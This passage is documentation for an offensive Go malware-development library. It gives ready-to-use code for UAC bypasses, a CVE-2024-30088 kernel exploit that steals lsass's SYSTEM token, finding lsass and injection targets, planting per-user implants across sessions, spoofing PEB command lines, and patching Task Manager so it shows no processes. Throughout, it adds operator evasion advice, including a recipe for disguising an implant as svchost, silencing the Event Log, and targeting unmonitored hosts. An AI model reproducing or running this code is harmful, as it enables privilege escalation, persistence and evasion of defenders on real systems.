if err := uac.FODHelper(`C:\Users\Public\impl.exe`); err != nil {
    return err
}
// Sleep enough for fodhelper.exe to read+launch before cleanup.
time.Sleep(2 * time.Second)

Composed — pre-flight then choose

import (
    "github.com/oioio-space/maldev/privesc/uac"
    "github.com/oioio-space/maldev/win/privilege"
    "github.com/oioio-space/maldev/win/version"
)

admin, elevated, _ := privilege.IsAdmin()
if elevated || !admin {
    return errors.New("not a UAC scenario")
}
v := version.Current()
switch {
case version.AtLeast(version.WINDOWS_10_22H2):
    return uac.FODHelper(payload)
case v.BuildNumber >= 7600 && v.BuildNumber < 17134:
    return uac.EventVwr(payload)
default:
    return uac.SilentCleanup(payload)
}

Advanced — chain into ImpersonateThread

After the bypass spawns an elevated child, the child can call win/impersonate.GetSystem for the Medium-IL → SYSTEM jump (winlogon.exe token clone). End-to-end: Medium → High via UAC → SYSTEM via SeDebugPrivilege.

OPSEC & Detection

VectorVisibilityMitigation
HKCU registry writeSysmon ID 13 / 14Use Software\Classes\<random> key only when needed; clean fast
Auto-elev process treeSysmon ID 1 + parent-child ruleInject into explorer.exe first to break the lineage
Hijacked binary parent of cmdMicrosoft-Windows-Security 4688Same as above
Build-windowed primitivesVendor signatures recognise the hijack key pathsChoose primitive per win/version

fodhelper.exe → cmd.exe is a textbook EDR rule. Real engagements inject the elevated payload into a long-lived child (e.g., process/herpaderping) rather than spawning cmd.exe directly.

MITRE ATT&CK

  • T1548.002 (Bypass User Account Control)

Limitations

  • All five fail under "Always notify" UAC.
  • All five fail when the user is not admin.
  • HKCU key paths and DelegateExecute behaviour have shifted across builds. EventVwr is dead from Win10 17134+.
  • The hijack window is narrow but non-zero — defenders snapshotting HKCU during incident response will see the leftover key.

See also

CVE-2024-30088 — kernel TOCTOU → SYSTEM

← privesc techniques · docs/index

TL;DR

cve202430088.Run(ctx) exploits a Windows kernel TOCTOU race in AuthzBasepCopyoutInternalSecurityAttributes to swap the calling thread's primary token with lsass.exe's SYSTEM token. CVSS 7.0, patched June 2024 (KB5039211). Use only in authorised engagements — the race is non-deterministic and may BSOD on misfire.

[!WARNING] Race exploits crash kernels when they misfire. The exploit retries until success or context cancellation. Do not run on hosts where a reboot is unacceptable. Always pre-flight with version.CVE202430088() to confirm the host is in the vulnerable build window.

Primer

AuthzBasepCopyoutInternalSecurityAttributes is invoked by NtAccessCheckByTypeAndAuditAlarm when the caller queries a SECURITY_DESCRIPTOR they own. The kernel reads the descriptor, validates it, and then re-reads to copy. Between the two reads the attacker swaps the descriptor pointer to a kernel object — the second read lands inside kernel space and the kernel happily writes the operator-controlled bytes to the new target.

The write primitive is pivoted into a token swap:

  1. Locate lsass.exe's _EPROCESS and read its Token.
  2. Use the kernel write to overwrite _EPROCESS.Token of the calling process with the SYSTEM token.
  3. Subsequent thread spawns inherit SYSTEM — the elevation is permanent for the process lifetime.

Discovery: k0shl (Angelboy) — DEVCORE. CWE-367.

Affected versions

OSVulnerable untilPatched in
Windows 10 1507 → 22H2June 2024 patchKB5039211 family
Windows 11 21H2 → 23H2June 2024 patchKB5039239 / KB5039212
Windows Server 2016 / 2019 / 2022 / 2022 23H2June 2024 patchKB504xxxx family

version.CVE202430088() returns the precise vulnerable/patched state including the UBR cut-off.

How it works

sequenceDiagram
    participant U as "User-mode race-thread"
    participant K as "Kernel"
    participant Lsa as "lsass.exe (PPL)"
    par Race thread
        U->>U: flip SD ptr → kernel obj
    and Probe thread
        U->>K: NtAccessCheckByTypeAndAuditAlarm(SD*)
        K->>K: read SD (validate)
        K->>K: re-read SD (copy)
        Note over K: SD ptr now points to kernel obj<br>(race won)
        K->>K: kernel write @ controlled addr
    end
    U->>K: read lsass _EPROCESS.Token
    K-->>U: SYSTEM token handle
    U->>K: kernel write self._EPROCESS.Token = SYSTEM
    K-->>U: success
    U->>U: spawn cmd.exe — inherits SYSTEM

Implementation:

  1. Run resolves the kernel symbols it needs via win/version gated lookup tables (offsets to _EPROCESS.Token, Pcb.ImageFileName).
  2. Spawns the race thread that flips the descriptor pointer in a tight loop.
  3. Spawns the probe thread that calls NtAccessCheckByTypeAndAuditAlarm repeatedly.
  4. Once a write lands the exploit reads lsass.Token and overwrites self.Token.
  5. By default, spawns cmd.exe as the post-elevation command. Use RunWithExec to override.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/privesc/cve202430088 is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — pre-flight then run

import (
    "context"
    "github.com/oioio-space/maldev/privesc/cve202430088"
    "github.com/oioio-space/maldev/win/version"
)

if info, _ := version.CVE202430088(); !info.Vulnerable {
    return errors.New("host patched")
}
res, err := cve202430088.Run(context.Background())
if err != nil {
    return err
}
defer res.Spawned.Wait()

Composed — custom payload spawn

cfg := cve202430088.Config{
    Exec:    `C:\Users\Public\impl.exe`,
    Args:    []string{"--once", "--quiet"},
    Timeout: 60 * time.Second,
}
res, err := cve202430088.RunWithExec(context.Background(), cfg)
if err != nil {
    return err
}
log.Printf("elevated in %s, payload PID %d", res.Duration, res.Spawned.Process.Pid)

Advanced — fall-through chain

admin, elevated, _ := privilege.IsAdmin()
if elevated {
    return nil // already there
}
if admin {
    if err := uac.FODHelper(payload); err == nil {
        return nil
    }
    // UAC bypass blocked → fall through to kernel exploit
}
if info, _ := version.CVE202430088(); info.Vulnerable {
    _, err := cve202430088.Run(ctx)
    return err
}
return errors.New("no escalation path available")

OPSEC & Detection

VectorVisibilityMitigation
Tight NtAccessCheckByTypeAndAuditAlarm loopETW Microsoft-Windows-Threat-IntelligenceThrottle race thread; accept lower success rate
_EPROCESS.Token swap detected by snapshot diffingEDR kernel callbacks (PsSetCreateProcessNotifyRoutineEx)None — the swap is the goal
BSOD on misfireCrash dump + 0x7E / 0x50 stop codePre-flight version check; abort on hardened hosts
Post-elev cmd.exeProcess tree (your PID parent of cmd.exe SYSTEM)Use RunWithExec for in-process payload spawn

This primitive is in vendor signature databases as of mid-2024. Defender + ESET + Sentinel detect the race window via ETW. Best deployed on hosts you have already determined are unmonitored.

MITRE ATT&CK

  • T1068 (Exploitation for Privilege Escalation) — kernel TOCTOU
  • T1134.001 (Token Impersonation/Theft)_EPROCESS.Token swap

Limitations

  • Race is non-deterministic. Default 30s timeout — increase via Config.Timeout for hardened hosts where the race window is shorter.
  • May BSOD on misfire (kernel write to invalid address). The exploit guards against the most common misfires but cannot rule them out.
  • Requires SeChangeNotifyPrivilege (granted to all users) and Windows 10 1507+ — not Win7/8.
  • Patched hosts (post-June 2024) return ErrPatched from pre-flight.

See also

Process techniques

← maldev README · docs/index

The process/* package tree groups two concerns:

  1. Discovery / management (enum, session) — cross-platform process listing and Windows session / token enumeration.
  2. Tampering (tamper/fakecmd, tamper/herpaderping, tamper/hideprocess, tamper/phant0m) — Windows-only primitives that lie about, hide, or silence parts of the running-process picture.
flowchart TB
    subgraph discovery [Discovery / management]
        ENUM[enum<br>Win32 Toolhelp + Linux /proc<br>List / FindByName / FindProcess]
        SESS[session<br>WTSEnumerate + cross-session<br>CreateProcess / Impersonate]
    end
    subgraph tamper [process/tamper/*]
        FK[fakecmd<br>PEB CommandLine spoof<br>self + remote PID]
        HD[herpaderping<br>kernel image-section cache<br>Herpaderping + Ghosting]
        HP[hideprocess<br>NtQSI patch in target<br>blind Task Manager / ProcExp]
        PH[phant0m<br>EventLog thread termination<br>SCM still RUNNING]
    end
    subgraph consumers [Downstream consumers]
        LSA[credentials/lsassdump]
        INJ[inject/*]
        EVA[evasion.Technique chains]
    end
    ENUM --> LSA
    ENUM --> HP
    ENUM --> PH
    SESS --> INJ
    HD --> EVA
    PH --> EVA

Where to start (novice path):

  1. enum — list processes / find by name. Foundation every other operation builds on (need a PID before you do anything to it).
  2. session — Windows session/token enumeration. Pair with enum when targeting cross-session work (Run-as-User, interactive desktop access).
  3. tamper/fakecmd — disguise YOUR command line in PEB. Pairs with evasion/ppid-spoofing for the parent disguise.
  4. tamper/hideprocess — hide YOUR process from Task Manager / ProcExp by patching their NtQuerySystemInformation.
  5. tamper/herpaderping, tamper/phant0m — specialised; pick when defender configuration warrants (kernel image-section cache abuse vs EventLog silencing).

Packages

PackageTech pageDetectionOne-liner
process/enumenum.mdquietCross-platform process list / find-by-name (Windows + Linux)
process/sessionsession.mdmoderateWindows session enum + cross-session CreateProcess / Impersonate
process/tamper/fakecmdfakecmd.mdquietPEB CommandLine spoof (self + remote PID)
process/tamper/herpaderpingherpaderping.mdmoderateKernel image-section cache exploit (Herpaderping + Ghosting)
process/tamper/hideprocesshideprocess.mdmoderatePatch NtQSI in target → blind Task Manager / ProcExp
process/tamper/phant0mphant0m.mdnoisyTerminate EventLog worker threads; SCM still shows RUNNING

Quick decision tree

You want to…Use
…find a process by name (cross-platform)enum.FindByName
…enumerate Windows sessions / userssession.Active
…spawn under another user's tokensession.CreateProcessOnActiveSessions
…run a callback under another user's identity brieflysession.ImpersonateThreadOnActiveSession
…spoof your process's command-line in user-mode triagefakecmd.Spoof
…spawn a process whose disk image liesherpaderping.Run (ModeHerpaderping or ModeGhosting)
…blind a single analyst tool's process listinghideprocess.PatchProcessMonitor
…silence the Windows Event Log without sc stopphant0m.Kill

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1057Process Discoveryprocess/enum, process/sessionD3-PA
T1134.001Access Token Manipulation: Token Impersonation/Theftprocess/sessionD3-USA
T1134.002Access Token Manipulation: Create Process with Tokenprocess/sessionD3-PSA
T1036.005Masquerading: Match Legitimate Name or Locationprocess/tamper/fakecmdD3-PSA
T1055.013Process Doppelgängingprocess/tamper/herpaderpingD3-PSA, D3-FCA
T1027.005Indicator Removal from Toolsprocess/tamper/hideprocess, process/tamper/herpaderpingD3-SCA
T1564.001Hide Artifacts: Hidden Processprocess/tamper/hideprocessD3-RAPA
T1562.002Impair Defenses: Disable Windows Event Loggingprocess/tamper/phant0mD3-RAPA, D3-PA

Layered cover recipe

A typical "look like svchost while running implant work" stack:

  1. Spawn via herpaderping so the on-disk image lies (or is gone, with ModeGhosting).
  2. PEB CommandLine via fakecmd.Spoof so user-mode triage shows svchost.exe -k netsvcs.
  3. Identity at link time via pe/masquerade/preset/svchost so VERSIONINFO + manifest + icon all match.
  4. Authenticode via pe/cert.Copy so file-property dialogs see a Microsoft signature.
  5. Triage tools via hideprocess so the first user opening Task Manager sees nothing.
  6. Logs via phant0m.Kill so EventLog doesn't capture lateral activity.

Each step has its own detection profile; layered, the bar rises significantly.

See also

Process enumeration

← process index · docs/index

TL;DR

List or find running processes by name across Windows + Linux. Pure Go on top of CreateToolhelp32Snapshot / /proc. Used by credentials/lsassdump to find lsass, by process/tamper/phant0m to find the EventLog svchost, and by every "find this process by name" workflow that doesn't want a Windows-specific dependency.

Primer

Process enumeration is the "hello world" of post-exploitation discovery. Every implant eventually wants to find lsass.exe, explorer.exe, the EventLog svchost, the user's browser. The package wraps the platform's standard listing API and surfaces the same Process struct shape on both OSes.

The technique itself is universally invisible — every Task Manager, every ps, every container runtime calls these APIs. EDRs do not flag the enumeration; they correlate it against subsequent suspicious actions (lsass open, token theft, process hollowing).

How It Works

flowchart LR
    subgraph win [Windows]
        TH[CreateToolhelp32Snapshot<br>TH32CS_SNAPPROCESS]
        TH --> P32[Process32First/Next walk]
        P32 --> WIN[Process<br>PID/PPID/Name]
    end
    subgraph linux [Linux]
        PROC[walk /proc/&lt;pid&gt;/]
        PROC --> COMM[read comm + status]
        COMM --> LIN[Process<br>PID/PPID/Name]
    end
    WIN --> OUT[List or FindByName or FindProcess]
    LIN --> OUT

The comm file on Linux carries the truncated 16-byte process name; for the full executable path use process/session.ImagePath (Windows-only) or read /proc/<pid>/exe.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/process/enum is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — list everything

import "github.com/oioio-space/maldev/process/enum"

procs, _ := enum.List()
for _, p := range procs {
    fmt.Printf("%5d %5d %s\n", p.PID, p.PPID, p.Name)
}

Composed — find lsass + open it

import (
    "github.com/oioio-space/maldev/credentials/lsassdump"
    "github.com/oioio-space/maldev/process/enum"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

procs, _ := enum.FindByName("lsass.exe")
if len(procs) == 0 {
    return
}
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
h, err := lsassdump.OpenLSASS(caller)
defer lsassdump.CloseLSASS(h)

Find a child of explorer.exe that runs from a user-writable path — typical pattern for finding an injection target.

explPID := uint32(0)
procs, _ := enum.FindByName("explorer.exe")
if len(procs) > 0 {
    explPID = procs[0].PID
}
target, _ := enum.FindProcess(func(name string, pid, ppid uint32) bool {
    return ppid == explPID && strings.HasSuffix(name, ".exe")
})

See ExampleFindByName

OPSEC & Detection

ArtefactWhere defenders look
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS) callsUniversal API — every Task Manager, AV, EDR uses it. Not a useful signal.
Sustained polling of process listBehavioural EDR may flag a process that calls Process32Next thousands of times per second
Enumeration immediately followed by OpenProcess(lsass, VM_READ)EDR rule correlation — credential dumping pattern
/proc walks from non-shell processesLinux EDR rules; rare unless the implant polls aggressively

D3FEND counters:

  • D3-PA — behavioural correlation of enumeration + subsequent open/inject calls.

Hardening for the operator:

  • Enumerate once, cache, reuse — sustained polling stands out.
  • Scope FindProcess predicates tightly so the package short-circuits on the first match (avoid full snapshot walks when you only need one PID).
  • Pair with process/session.Active instead of full enum when you only need logged-in interactive sessions.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1057Process Discoveryfull — name + predicate search across Windows + LinuxD3-PA

Limitations

  • Process32Next race conditions. Processes can exit between snapshot and read; Windows handles this gracefully but FindProcess may miss a process that existed at the start of the walk.
  • No image-path resolution. Process carries name only. For full path use process/session.ImagePath (Windows) or read /proc/<pid>/exe (Linux).
  • No command-line. PEB-based command-line surfacing is out of scope; use a separate ETW / WMI query when the command line matters.
  • Linux comm is truncated. 15 chars + nul. Process names longer than that need /proc/<pid>/cmdline[0].

See also

Session enumeration & cross-session execution

← process index · docs/index

TL;DR

Enumerate Windows logon sessions via WTSEnumerateSessions, spawn processes under another user's token with proper station/desktop handles, and impersonate other users on a locked OS thread. Used to plant per-user persistence across multi-user hosts (Citrix / RDS / terminal server) and to run short callbacks under alternate credentials without spawning a full process. Windows-only.

Primer

A multi-user Windows host runs a separate logon session per interactive user, each with its own desktop, station, and token. Implants planted in one session can't influence another by default — process creation in session 0 doesn't appear on the user's desktop, and a kerberos ticket cached in user A's session is invisible to user B.

process/session bridges those gaps:

  • List / Active enumerate sessions via WTS APIs. Active filters to currently-logged-on interactive sessions — the ones that matter operationally.
  • CreateProcessOnActiveSessions spawns a process under another user's token in their desktop — useful for per-user persistence on a host that won't reboot soon.
  • ImpersonateThreadOnActiveSession runs a callback on a locked OS thread under alternate credentials, then reverts. Useful for filesystem / network operations that need the user's identity but not a full process.

The package handles the Win32 plumbing: token duplication, environment-block construction (CreateEnvironmentBlock), profile loading (LoadUserProfile), station + desktop attachment (winsta0\default).

How It Works

sequenceDiagram
    participant Op as "Operator"
    participant WTS as "WTSEnumerateSessions"
    participant Tok as "token.Token (user)"
    participant Env as "CreateEnvironmentBlock"
    participant CP as "CreateProcessAsUser"
    participant Imp as "Implant"

    Op->>WTS: List() / Active()
    WTS-->>Op: []Info{SessionID, Username, …}
    Op->>Tok: WTSQueryUserToken(sessionID)
    Op->>Env: CreateEnvironmentBlock(tok)
    Op->>CP: CreateProcessAsUser(tok, exe, env, "winsta0\\default")
    CP->>Imp: process spawned in user's desktop

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/process/session is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — list active sessions

import "github.com/oioio-space/maldev/process/session"

infos, _ := session.Active()
for _, i := range infos {
    fmt.Printf("session %d: %s\\%s (%v)\n",
        i.SessionID, i.Domain, i.Username, i.State)
}

Composed — per-user persistence on RDS

Spawn the implant under each active user's token so each user sees the persistence in their session.

import (
    "github.com/oioio-space/maldev/process/session"
    "github.com/oioio-space/maldev/win/token"
)

infos, _ := session.Active()
for _, i := range infos {
    tok, err := token.WTSQueryUserToken(i.SessionID)
    if err != nil {
        continue
    }
    _ = session.CreateProcessOnActiveSessions(tok,
        `C:\Users\Public\winupdate.exe`,
        []string{"--silent"},
    )
}

Advanced — short impersonation for SMB write

Mount a per-user workflow under a target user's identity without spawning a separate process.

import (
    "os"

    "github.com/oioio-space/maldev/process/session"
    "github.com/oioio-space/maldev/win/token"
)

tok, _ := token.WTSQueryUserToken(targetSessionID)
_ = session.ImpersonateThreadOnActiveSession(tok, func() error {
    // Inside this callback, the OS thread runs as the user.
    // Network / file ops use the user's credentials.
    f, err := os.Create(`\\fileshare\\users\\target\\report.docx`)
    if err != nil {
        return err
    }
    return f.Close()
})

Advanced — alternate desktop / station

CreateProcessOnActiveSessionsWith opens the door to redirecting the spawned process onto a non-default desktop. Two operator scenarios:

import (
    "github.com/oioio-space/maldev/process/session"
    "github.com/oioio-space/maldev/win/token"
)

tok, _ := token.WTSQueryUserToken(sessionID)

// 1) Spawn onto the SYSTEM service station (when running as SYSTEM
//    and you want the new process to live alongside services
//    instead of jumping into the user's interactive desktop).
_ = session.CreateProcessOnActiveSessionsWith(tok,
    `C:\Windows\System32\cmd.exe`,
    nil,
    session.Options{Desktop: `Service-0x0-3e7$\Default`},
)

// 2) Spawn onto a hidden desktop you set up upstream via
//    CreateDesktopW so the UI is invisible to the user even if the
//    binary creates windows.
_ = session.CreateProcessOnActiveSessionsWith(tok,
    `C:\Users\Public\impl.exe`,
    nil,
    session.Options{Desktop: `Winsta0\maldev-stealth`},
)

See ExampleList

OPSEC & Detection

ArtefactWhere defenders look
Security Event 4624 (logon) with type 9 (NewCredentials)Cross-session process creation + impersonation
Security Event 4648 (explicit credentials logon)Token-based process creation
Process tree: svchost spawning under a user that doesn't own svchostLineage anomaly — Defender / MDE rules
WTSEnumerateSessions from non-Microsoft processesRare; some EDRs flag
Multiple sessions seeing the same implant binary path simultaneouslyPer-user persistence pattern

D3FEND counters:

  • D3-USA — session creation event correlation.
  • D3-PSA — cross-session process lineage.

Hardening for the operator:

  • Use a binary path consistent with the cloned identity (%LOCALAPPDATA%\Microsoft\OneDrive\… for OneDrive-looking persistence).
  • For RDS / Citrix targets, prefer ImpersonateThreadOnActiveSession for one-shot ops over CreateProcessOnActiveSessions — no new process to log.
  • Pair with process/tamper/fakecmd so the spawned child's PEB CommandLine matches a legitimate per-user task.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1134.002Access Token Manipulation: Create Process with TokenfullD3-PSA
T1134.001Access Token Manipulation: Token Impersonation/Theftfull — ImpersonateThreadOnActiveSessionD3-USA

Limitations

  • Windows-only. Linux stub returns errors on every entry point.
  • Token requirement. WTSQueryUserToken needs SYSTEM context; without it, the operator can only operate in their own session.
  • Profile loading is heavy. LoadUserProfile mounts the user's hive; on hosts where the user is rarely active this can take seconds.
  • Desktop / station defaults to inherit from the caller. CreateProcessOnActiveSessions (legacy entry point) leaves STARTUPINFOW.lpDesktop NULL, which inherits the caller's station+desktop — typically Winsta0\Default for an interactive logon. Use CreateProcessOnActiveSessionsWith + Options.Desktop to override (operator-controlled hidden desktops, SYSTEM service stations, etc.). Pre-existing Winlogon-owned desktops (Secure Desktop, Lock Screen) still reject CreateProcessAsUser by ACL — that boundary stays.
  • No reverse path. Once impersonating, this package's callback model auto-reverts; long-running impersonation requires manual RevertToSelf discipline elsewhere.

See also

PEB CommandLine spoof (FakeCmd)

← process index · docs/index

TL;DR

Overwrite the current process's PEB CommandLine UNICODE_STRING so process-listing tools (Task Manager, Process Explorer, wmic, Get-Process) display a fake command-line. Self (Spoof) or remote (SpoofPID). Kernel EPROCESS retains the real value so ETW-side telemetry is not fooled.

Primer

When a defender lists processes (Task Manager, Process Explorer, Get-Process | Select CommandLine, Sysmon Event ID 1), the command-line shown is read out of the target process's PEB, not from a separate kernel record. The kernel keeps a frozen copy in EPROCESS.SeAuditProcessCreationInfo captured at process creation that user-mode cannot rewrite.

fakecmd overwrites the user-mode PEB field so every user-mode reader sees a benign command-line — a beaconing implant launched as C:\evil.exe --c2 1.2.3.4 can present itself as C:\Windows\System32\svchost.exe -k netsvcs.

This fools user-mode triage; kernel-sourced telemetry (Sysmon ProcessCreate via ETW-Ti, PsSetCreateProcessNotifyRoutineEx, Defender's MsSense, MDE) still sees the original. Pair with pe/masquerade to also clone the binary's embedded VERSIONINFO so user-mode triage of the on-disk file matches.

How It Works

sequenceDiagram
    participant Reader as "Process Explorer / Sysmon-usermode / EDR"
    participant PEB as "Target PEB"
    participant PP as "RTL_USER_PROCESS_PARAMETERS"
    participant CmdLine as "UNICODE_STRING CommandLine"
    participant Kernel as "EPROCESS<br>(SeAuditProcessCreationInfo)"

    Note over PEB,PP: Setup at process creation
    PP->>CmdLine: Length / MaximumLength / Buffer = "evil.exe --c2 …"
    Kernel-->>Kernel: SeAuditProcessCreationInfo = "evil.exe --c2 …" (frozen)

    Note over PEB,CmdLine: fakecmd.Spoof rewrites here
    CmdLine->>CmdLine: Buffer ← "svchost.exe -k netsvcs"<br>Length / MaximumLength updated

    Reader->>PEB: NtQueryInformationProcess(ProcessBasicInformation)
    Reader->>PP: Follow PEB.ProcessParameters
    Reader->>CmdLine: Read CommandLine
    CmdLine-->>Reader: "svchost.exe -k netsvcs"  (fake)

    Reader->>Kernel: ETW / audit
    Kernel-->>Reader: "evil.exe --c2 …"          (real)

Layout: PEB.ProcessParameters (offset +0x20 x64) → RTL_USER_PROCESS_PARAMETERSCommandLine UNICODE_STRING at RUPP+0x70. Overwrite Length, MaximumLength, and Buffer with the new UTF-16 string.

Self vs remote:

  • Spoof rewrites the current process's own PEB — no privilege needed, instant.
  • SpoofPID rewrites another process's PEB via OpenProcess(VM_READ|VM_WRITE|VM_OPERATION|QUERY_INFORMATION)
    • NtQueryInformationProcess + NtAllocateVirtualMemory + WriteProcessMemory. Typically requires SeDebugPrivilege.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/process/tamper/fakecmd is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — self spoof

import "github.com/oioio-space/maldev/process/tamper/fakecmd"

if err := fakecmd.Spoof(`C:\Windows\System32\svchost.exe -k netsvcs`, nil); err != nil {
    return
}
defer fakecmd.Restore()

Composed — indirect syscall

import (
    "github.com/oioio-space/maldev/process/tamper/fakecmd"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
_ = fakecmd.Spoof(`C:\Windows\System32\svchost.exe -k netsvcs`, caller)
defer fakecmd.Restore()

Advanced — PPID-spoof + child PEB rewrite

Pair PPID spoofing with PEB rewrite so user-mode triage sees explorer.exe → svchost.exe -k netsvcs -p -s Schedule instead of cmd.exe → implant.exe --c2 ….

import (
    "os"
    "os/exec"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/process/tamper/fakecmd"
)

if os.Getenv("RESPAWNED") == "" {
    sp := shell.NewPPIDSpooferWithTargets([]string{"explorer.exe"})
    _ = sp.FindTargetProcess()
    attr, h, _ := sp.SysProcAttr()
    cmd := exec.Command(os.Args[0])
    cmd.Env = append(os.Environ(), "RESPAWNED=1")
    cmd.SysProcAttr = attr
    _ = cmd.Start()
    _ = h
    return
}

_ = fakecmd.Spoof(
    `C:\Windows\System32\svchost.exe -k netsvcs -p -s Schedule`,
    nil,
)
defer fakecmd.Restore()
runBeacon()

See ExampleSpoof.

OPSEC & Detection

ArtefactWhere defenders look
User-mode PEB CommandLineSpoofed; user-mode triage sees fake
Kernel EPROCESS.SeAuditProcessCreationInfoReal — Sysmon Event 1 (kernel ETW) sees the original
Sysmon ProcessCreate eventBuilt from kernel ETW, not user-mode PEB → real value
wmic process queriesUser-mode → fake
tasklist /vUser-mode → fake
Process Hacker / Process ExplorerUser-mode → fake
Defender for Endpoint MsSense alertsKernel ETW-Ti → real

D3FEND counters:

  • D3-PSA — kernel ETW-based lineage / command-line capture is unaffected.
  • D3-SEA — pair with pe/masquerade to also fool the on-disk PE static-info reader.

Hardening for the operator:

  • Pair with pe/masquerade for binary identity match.
  • Pair with PPID spoofing (c2/shell.PPIDSpoofer) so the process tree also looks plausible.
  • Defer Restore() if the process is long-running — cached PEB reads after dump-and-revive can otherwise expose the fake.
  • Don't rely on this against EDRs whose ProcessCreate telemetry is sourced from kernel ETW (most modern stacks).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1036.005Masquerading: Match Legitimate Name or Locationpartial — user-mode CommandLine onlyD3-PSA
T1564Hide ArtifactsgenericD3-SEA

Limitations

  • User-mode only. Kernel ETW-Ti, Sysmon Event 1, PsSetCreateProcessNotifyRoutineEx all see the real value.
  • Cached reads. Tools that cached the original CommandLine before spoofing display the original until they refresh.
  • No image-path spoof. Spoof rewrites CommandLine, not ImagePathName. Pair with pe/masquerade for binary metadata cloning.
  • Remote spoof requires SeDebugPrivilege. SpoofPID opens the target with VM_WRITE + VM_OPERATION.

See also

Hide processes from Task Manager (NtQSI patch)

← process index · docs/index

TL;DR

Patch NtQuerySystemInformation in a target process so it returns STATUS_NOT_IMPLEMENTED. The target's process listing becomes empty — Task Manager, Process Explorer, ProcessHacker, Get-Process running inside that process all show nothing. Other processes (EDR agents, kernel telemetry) are unaffected.

Primer

Process-listing tools all ultimately call NtQuerySystemInformation(SystemProcessInformation, …) to ask the kernel for the running-process snapshot. hideprocess doesn't hide processes from the kernel — it goes into a specific user-mode tool's address space and patches that tool's NtQuerySystemInformation prologue so the syscall never happens. The function returns STATUS_NOT_IMPLEMENTED immediately; the tool sees an empty list.

This is blinding the analyst's tool, not hiding the target. Defenders running an EDR agent that does its own enumeration from a separate, un-patched process see everything normally; kernel-sourced telemetry (Sysmon, Microsoft-Windows-Threat-Intelligence ETW, MsSense) is unaffected.

How It Works

sequenceDiagram
    participant Impl as "Implant"
    participant Target as "Taskmgr.exe (target)"
    participant NtQSI as "ntdll!NtQuerySystemInformation"

    Impl->>Impl: GetModuleHandle("ntdll.dll") + GetProcAddress("NtQSI")
    Note over Impl: ntdll loads at the same VA in every<br>process per boot — local VA = remote VA

    Impl->>Target: OpenProcess(VM_WRITE | VM_OPERATION)
    Impl->>NtQSI: WriteProcessMemory(prologue, stub)
    Note over NtQSI: 7-byte stub:<br>B8 02 00 00 C0   mov eax, 0xC0000002<br>C2 10 00         ret 0x10

    Target->>NtQSI: NtQuerySystemInformation(SystemProcessInformation, …)
    NtQSI-->>Target: STATUS_NOT_IMPLEMENTED
    Target->>Target: empty process list

Why it works:

  • On Win 8+, ntdll.dll is loaded at the same VA in every process per boot (base randomised once via KUSER_SHARED_DATA), so the implant resolves NtQuerySystemInformation locally and the VA is identical in the target.
  • The stub returns 0xC0000002 = STATUS_NOT_IMPLEMENTED. The caller's error path typically falls back to an empty result set.
  • Only the patched process is affected — kernel telemetry doesn't go through user-mode NtQuerySystemInformation.

Coverage matrix

Enumeration pathTool examplesBottoms out inCovered by
NtQuerySystemInformation(SystemProcessInformation)Task Manager (default), tasklist.exe, ProcessHacker default view, Sysinternals pslist, native PEB walksntdll!NtQuerySystemInformation → SSDTPatchProcessMonitor
EnumProcesses (psapi)Older tasklist /v, anti-malware product enumeration, many .NET Process.GetProcesses() pathskernel32!K32EnumProcesses (psapi forwarder) → NtQuerySystemInformationPatchEnumProcesses
Toolhelp32 (CreateToolhelp32Snapshot + Process32{First,Next}W)Many open-source enumerators, debug tooling, classic VB/Delphi appskernel32!Process32FirstW / Process32NextWNtQuerySystemInformationPatchToolhelp
WMI SELECT * FROM Win32_ProcessGet-WmiObject, Get-CimInstance, COM clientswmiprvse.exe (separate process) → cimwin32!QueryProcessesNtQuerySystemInformationNot covered — requires a separate injection into wmiprvse.exe. See Limitations.
Kernel-source enumerationEDR drivers, Sysmon Event ID 1, ETW Threat-Intelligencekernel PsQuerySystemInformation directly, or Pcw* performance countersNot covered — user-mode patch is invisible to ring-0.

The bottom two rows aren't accidents — they are fundamental boundaries. PatchAll covers everything that flows through the user-mode ntdll surface in the patched process; anything that crosses into another process or into the kernel is out of reach by design.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/process/tamper/hideprocess is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — blind a known PID

import "github.com/oioio-space/maldev/process/tamper/hideprocess"

const taskmgrPID = 1234
_ = hideprocess.PatchProcessMonitor(taskmgrPID, nil)

Composed — sweep by name

Blind every running analyst tool found via process/enum.

import (
    "github.com/oioio-space/maldev/process/enum"
    "github.com/oioio-space/maldev/process/tamper/hideprocess"
)

procs, _ := enum.List()
for _, p := range procs {
    switch p.Name {
    case "Taskmgr.exe", "procexp.exe", "procexp64.exe", "ProcessHacker.exe":
        _ = hideprocess.PatchProcessMonitor(int(p.PID), nil)
    }
}

Advanced — watch + auto-blind on launch

Poll for analyst-tool launches and patch each one as it appears. Useful as a long-running implant component on a multi-user host.

import (
    "time"

    "github.com/oioio-space/maldev/process/enum"
    "github.com/oioio-space/maldev/process/tamper/hideprocess"
)

func watch() {
    targets := map[string]bool{
        "Taskmgr.exe":      true,
        "procexp.exe":      true,
        "procexp64.exe":    true,
        "ProcessHacker.exe": true,
    }
    blinded := map[uint32]bool{}
    for {
        procs, err := enum.List()
        if err == nil {
            for _, p := range procs {
                if !targets[p.Name] || blinded[p.PID] {
                    continue
                }
                if err := hideprocess.PatchProcessMonitor(int(p.PID), nil); err == nil {
                    blinded[p.PID] = true
                }
            }
        }
        time.Sleep(1 * time.Second)
    }
}

See ExamplePatchProcessMonitor.

OPSEC & Detection

